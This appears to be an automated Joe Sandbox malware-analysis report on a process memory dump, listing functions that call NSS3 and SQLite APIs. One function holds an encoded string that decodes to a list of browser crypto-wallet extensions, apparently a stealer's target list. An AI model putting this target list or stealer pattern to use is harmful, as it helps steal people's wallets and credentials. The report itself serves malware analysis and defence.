unsafe use of virtual table "%s", xrefs: 6CE030D1
a NATURAL join may not have an ON or USING clause, xrefs: 6CE032C1
cannot have both ON and USING clauses in the same join, xrefs: 6CE032B5
no such table: %s, xrefs: 6CE026AC
no tables specified, xrefs: 6CE026BE
no such index: "%s", xrefs: 6CE0319D
%s.%s, xrefs: 6CE02D68
multiple recursive references: %s, xrefs: 6CE022E0
too many references to "%s": max 65535, xrefs: 6CE02FB6
%s.%s.%s, xrefs: 6CE0302D
access to view "%s" prohibited, xrefs: 6CE02F4A
too many columns in result set, xrefs: 6CE03012
'%s' is not a function, xrefs: 6CE02FD2
table %s has %d values for %d columns, xrefs: 6CE0316C
cannot join using column %s - column not present in both tables, xrefs: 6CE032AB
H, xrefs: 6CE0329F
recursive reference in a subquery: %s, xrefs: 6CE022E5
H, xrefs: 6CE0322D

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: memcpy
String ID: %s.%s$%s.%s.%s$'%s' is not a function$H$H$a NATURAL join may not have an ON or USING clause$access to view "%s" prohibited$cannot have both ON and USING clauses in the same join$cannot join using column %s - column not present in both tables$multiple recursive references: %s$no such index: "%s"$no such table: %s$no tables specified$recursive reference in a subquery: %s$table %s has %d values for %d columns$too many columns in result set$too many references to "%s": max 65535$unsafe use of virtual table "%s"
API String ID: 3510742995-3400015513
Opcode ID: 476804dc3dd0ea5ba804e17a0019f16d65e05dcf4d7c7f4407560f2b1fa0ccec
Instruction ID: 056cc05259f8ef1076c2fa46912f5eb54f03fc55b5c301ddd700c91eb6f753b1
Opcode Fuzzy Hash: 476804dc3dd0ea5ba804e17a0019f16d65e05dcf4d7c7f4407560f2b1fa0ccec
Instruction Fuzzy Hash: 39D27B74F042098FDB04CF99C484B9DB7F2BF59308F3881A9D855ABB51D735A866CB90

Function 6CE3ECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CE3ED38

Part of subcall function 6CDD4F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CDD4FC4

sqlite3_mprintf.NSS3(snippet), ref: 6CE3EF3C
sqlite3_mprintf.NSS3(offsets), ref: 6CE3EFE4

Part of subcall function 6CEFDFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CDD5001,?,00000003,00000000), ref: 6CEFDFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6CE3F087
sqlite3_mprintf.NSS3(matchinfo), ref: 6CE3F129
sqlite3_mprintf.NSS3(optimize), ref: 6CE3F1D1
sqlite3_free.NSS3(?), ref: 6CE3F368

Strings

fts3tokenize, xrefs: 6CE3F30F
snippet, xrefs: 6CE3EF05, 6CE3EF37, 6CE3EF7C
unicode61, xrefs: 6CE3EDB5
optimize, xrefs: 6CE3F199, 6CE3F1CC, 6CE3F211
fts3_tokenizer, xrefs: 6CE3EE1A, 6CE3EEA8
simple, xrefs: 6CE3ED79
offsets, xrefs: 6CE3EFAF, 6CE3EFDF, 6CE3F01F
fts4, xrefs: 6CE3F2AD
matchinfo, xrefs: 6CE3F04F, 6CE3F082, 6CE3F0C2, 6CE3F0F2, 6CE3F124, 6CE3F169
fts4aux, xrefs: 6CE3ECF9
porter, xrefs: 6CE3ED97
fts3, xrefs: 6CE3F247

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 3366568a7f7a7a6a0b0743241239e5e35465c7bb1d9135c95f59f3b69e54de56
Instruction ID: 3466b94ee3215d05e71868928776480dd49adba32fcdcd76e5ce9b1059148709
Opcode Fuzzy Hash: 3366568a7f7a7a6a0b0743241239e5e35465c7bb1d9135c95f59f3b69e54de56
Instruction Fuzzy Hash: 4502F0B2B147109BE7049F71A88172B36B1ABC520CF24953DD85E8BB11EB79F846C792

Function 6CEB7C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEB7C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6CEB7C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6CEB7D1E

Part of subcall function 6CEB7870: SECOID_FindOID_Util.NSS3(?,?,?,6CEB91C5), ref: 6CEB788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEB7D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6CEB7D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CEB7DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CEB7DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEB7DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CEB7E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6CEB7E58

Part of subcall function 6CEB7870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CEB91C5), ref: 6CEB78BB
Part of subcall function 6CEB7870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6CEB91C5), ref: 6CEB78FA
Part of subcall function 6CEB7870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6CEB91C5), ref: 6CEB7930
Part of subcall function 6CEB7870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CEB91C5), ref: 6CEB7951
Part of subcall function 6CEB7870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CEB7964
Part of subcall function 6CEB7870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CEB797A
Part of subcall function 6CEB7870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6CEB7988
Part of subcall function 6CEB7870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6CEB7998
Part of subcall function 6CEB7870: free.MOZGLUE(00000000), ref: 6CEB79A7
Part of subcall function 6CEB7870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6CEB91C5), ref: 6CEB79BB
Part of subcall function 6CEB7870: PR_GetCurrentThread.NSS3(?,?,?,?,6CEB91C5), ref: 6CEB79CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEB7E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CEB7F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CEB7F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEB7FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CEB7FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6CEB8038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CEB8050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6CEB8093
SECOID_FindOID_Util.NSS3 ref: 6CEB7F29

Part of subcall function 6CEB07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CE58298,?,?,?,6CE4FCE5,?), ref: 6CEB07BF
Part of subcall function 6CEB07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CEB07E6
Part of subcall function 6CEB07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEB081B
Part of subcall function 6CEB07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEB0825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CEB8072
SECOID_FindOID_Util.NSS3 ref: 6CEB80F5

Part of subcall function 6CEBBC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6CEB800A,00000000,?,00000000,?), ref: 6CEBBC3F

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: 2fb18f5f7134540dc36fb5086114e96ebaa54b053cf2da98a2e2a60071fe12ef
Instruction ID: 5e234b9befc2d7c1d52de88c827b75ed7af8f491d4f8349924212130d83311c4
Opcode Fuzzy Hash: 2fb18f5f7134540dc36fb5086114e96ebaa54b053cf2da98a2e2a60071fe12ef
Instruction Fuzzy Hash: 29E190716083019FE710CF28DA80B6A77F5AF4534CF24496DE99AABB51E731EC05CB62

Function 6CE41C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6CE41C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6CE41C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6CE41CA1
GetLengthSid.ADVAPI32(?), ref: 6CE41CA9
malloc.MOZGLUE(00000000), ref: 6CE41CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6CE41CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6CE41CE4
GetLengthSid.ADVAPI32(?), ref: 6CE41CEC
malloc.MOZGLUE(00000000), ref: 6CE41CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6CE41D0F
CloseHandle.KERNEL32(?), ref: 6CE41D17
AllocateAndInitializeSid.ADVAPI32 ref: 6CE41D4D
GetLastError.KERNEL32 ref: 6CE41D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6CE41D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6CE41D7A

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: 01dc930013e4dc746a5c0cb317081e32def7e503487553dbf6478b6fb78e2d3a
Instruction ID: 530097603c5e678263324d3681c0a27311751b506cb82df86fe5cdc275d47358
Opcode Fuzzy Hash: 01dc930013e4dc746a5c0cb317081e32def7e503487553dbf6478b6fb78e2d3a
Instruction Fuzzy Hash: FC3162B1E10218DFEF519FA4DC48BAABBB8EF49345F008065F60992250EB315994CF65

Function 6CE4EF40 Relevance: 25.1, APIs: 10, Strings: 4, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE4EF63

Part of subcall function 6CE587D0: PORT_NewArena_Util.NSS3(00000800,6CE4EF74,00000000), ref: 6CE587E8
Part of subcall function 6CE587D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6CE4EF74,00000000), ref: 6CE587FD
Part of subcall function 6CE587D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CE5884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6CE4F2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE4F2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6CE4F30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6CE4F374
PL_strcasecmp.NSS3(6CF92FD4,?), ref: 6CE4F457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6CE4F4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CE4F66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CE4F67D
CERT_DestroyName.NSS3(?), ref: 6CE4F68B

Part of subcall function 6CE58320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6CE58338
Part of subcall function 6CE58320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CE58364
Part of subcall function 6CE58320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6CE5838E
Part of subcall function 6CE58320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE583A5
Part of subcall function 6CE58320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE583E3

Part of subcall function 6CE584C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6CE584D9
Part of subcall function 6CE584C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CE58528

Part of subcall function 6CE58900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6CE4F599,?,00000000), ref: 6CE58955

Strings

mZjbHwxfDB8MHxPeHlnZW58ZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8MXwwfDB8UGFsaSBXYWxsZXR8bWdmZmtmYmlkaWhqcG9hb21hamxiZ2NoZGRsaWNncG58MXwwfDB8Qk9MVCBYfGFvZGtrYWduYWRjYm9iZnBnZ2ZuamVvbmdlbWpiamNhfDF8MHwwfFhERUZJIFdhbGxldHxobWVvYm5mbmZjbWRrZGNtbGJsZ2FnbWZwZmJva, xrefs: 6CE4EFC1, 6CE4F014, 6CE4F07F, 6CE4F0AD, 6CE4F23A, 6CE4F264, 6CE4F5CC
oid., xrefs: 6CE4F2CF
*, xrefs: 6CE4F3C6
", xrefs: 6CE4F21B

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$mZjbHwxfDB8MHxPeHlnZW58ZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8MXwwfDB8UGFsaSBXYWxsZXR8bWdmZmtmYmlkaWhqcG9hb21hamxiZ2NoZGRsaWNncG58MXwwfDB8Qk9MVCBYfGFvZGtrYWduYWRjYm9iZnBnZ2ZuamVvbmdlbWpiamNhfDF8MHwwfFhERUZJIFdhbGxldHxobWVvYm5mbmZjbWRrZGNtbGJsZ2FnbWZwZmJva$oid.
API String ID: 4161946812-254940069
Opcode ID: 1a962e8c256fc898f856d4c01dccfa53a55e96430fb76da76d7f1b0b771355d1
Instruction ID: 365425d03d65906671a7afd133cec0dda22637ed9bc0eb5721e8fa727f8ddd3a
Opcode Fuzzy Hash: 1a962e8c256fc898f856d4c01dccfa53a55e96430fb76da76d7f1b0b771355d1
Instruction Fuzzy Hash: 23221871A083508FD710CE18E49076AB7F6ABC5B1CF28C66EE49587B91E7399C06C793

Function 6CE43D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CE43DFB
__allrem.LIBCMT ref: 6CE43EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE43FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6CE44047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CE440DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE4415F
__allrem.LIBCMT ref: 6CE4416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE44288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE442AB
__allrem.LIBCMT ref: 6CE442B7

Strings

%lld, xrefs: 6CE43FB2
%04d, xrefs: 6CE4407B
%02d, xrefs: 6CE44086
%03d, xrefs: 6CE442E8

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: cf89f73c4825ce57d539fb1ddcadec9b947f2dd680c87e3a7936a109fe604c46
Instruction ID: ead4740960c15910476295fa3c6611dd410ea978445fa03561faeebea80e4e4d
Opcode Fuzzy Hash: cf89f73c4825ce57d539fb1ddcadec9b947f2dd680c87e3a7936a109fe604c46
Instruction Fuzzy Hash: 2FF1F3B1A087409FD715CF38D841BAAB7F6AF86348F24CA1EE49597B51E730D846CB42

Function 6CDF1C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDF1D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CDF1EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6CDF1FB7

Strings

sqlite_temp_master, xrefs: 6CDF1C5C
no more rows available, xrefs: 6CDF2264
unsupported file format, xrefs: 6CDF2188
sqlite_master, xrefs: 6CDF1C61
table, xrefs: 6CDF1C8B
abort due to ROLLBACK, xrefs: 6CDF2223
SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6CDF1F83
another row available, xrefs: 6CDF2287
unknown error, xrefs: 6CDF2291
attached databases must use the same text encoding as main database, xrefs: 6CDF20CA

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: fea6605191ce6101f85a7600e87479e90219f282b281665335053581cb1580a5
Instruction ID: 04a07a68243f27dbbd830eb639b4f1c75f9460c638865d266a4c95eba51931fd
Opcode Fuzzy Hash: fea6605191ce6101f85a7600e87479e90219f282b281665335053581cb1580a5
Instruction Fuzzy Hash: AD12E171608381CFD705CF19C48465ABBF2BF8531CF1A855DE8A58BB61D731E846CB92

Function 6CE15F20 Relevance: 22.5, APIs: 5, Strings: 8, Instructions: 3043COMMON

Download Yara Rule

Strings

sub-select returns %d columns - expected %d, xrefs: 6CE1805F
-, xrefs: 6CE162F9
BINARY, xrefs: 6CE18708, 6CE18737, 6CE187B8
-, xrefs: 6CE16228
ON clause references tables to its right, xrefs: 6CE16BEC
u, xrefs: 6CE181DA
2, xrefs: 6CE165B4
NOCASE, xrefs: 6CE18703

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID:
String ID: -$-$2$BINARY$NOCASE$ON clause references tables to its right$sub-select returns %d columns - expected %d$u
API String ID: 0-3593521594
Opcode ID: 16536bf41bc069d0be191280cea3a8f4e6bdbc966ed3faa2790b3d277b6d6b02
Instruction ID: 5cf5701acc178fd471b08cc4b39e168a4834e030f010438d7672532720a7402d
Opcode Fuzzy Hash: 16536bf41bc069d0be191280cea3a8f4e6bdbc966ed3faa2790b3d277b6d6b02
Instruction Fuzzy Hash: 2A439074A0C3418FD314CF19C490A5ABBF6FF89718F258A5DE8998BB51D730E856CB82

Function 6CEBEFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CEBC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CEBDAE2,?), ref: 6CEBC6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEBF0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEBF0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6CEBF101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEBF11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6CF8218C), ref: 6CEBF183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6CEBF19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CEBF1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CEBF1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CEBF210

Part of subcall function 6CE652D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6CEBF1E9,?,00000000,?,?), ref: 6CE652F5
Part of subcall function 6CE652D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6CE6530F
Part of subcall function 6CE652D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6CE65326
Part of subcall function 6CE652D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6CEBF1E9,?,00000000,?,?), ref: 6CE65340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CEBF227

Part of subcall function 6CEAFAB0: free.MOZGLUE(?,-00000001,?,?,6CE4F673,00000000,00000000), ref: 6CEAFAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6CEBF23E

Part of subcall function 6CEABE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CE5E708,00000000,00000000,00000004,00000000), ref: 6CEABE6A
Part of subcall function 6CEABE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CE604DC,?), ref: 6CEABE7E
Part of subcall function 6CEABE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CEABEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CEBF2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CEBF3A8

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CEBF3B3

Part of subcall function 6CE62D20: PK11_DestroyObject.NSS3(?,?), ref: 6CE62D3C
Part of subcall function 6CE62D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CE62D5F

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: f3831f22d085552abfa969a08ecd37c2b6aba707050c395cefd909e3f760d09a
Instruction ID: 9b1bbc5ee4ed04dc8867e2428cb5e9664db228fe00574b82a477abe622482bb6
